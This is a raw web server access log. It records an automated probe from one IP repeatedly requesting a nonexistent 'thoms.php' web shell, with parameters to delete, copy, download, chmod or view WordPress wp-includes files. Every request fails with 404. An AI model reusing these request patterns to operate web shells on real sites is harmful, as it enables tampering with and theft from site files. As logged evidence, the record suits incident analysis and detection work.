45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?del=theme.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?del=class-wp-embed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?dl=rewrite.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?del=php-compat&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=php-compat&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?del=class-wp-term.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?dl=json-schema.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?chmod=block-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?chmod=class-requests.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:14 -0400] "GET /thoms.php?dl=embed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?dl=class-simplepie.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?del=compat-utf8.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?chmod=default-constants.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?dl=default-filters.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?chmod=compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?chmod=meta.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?del=class-requests.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?dl=class-json.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:15 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?del=class-wp-http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-feed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-feed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?chmod=https-migration.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?chmod=default-filters.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:16 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?del=bookmark-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?dl=capabilities.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
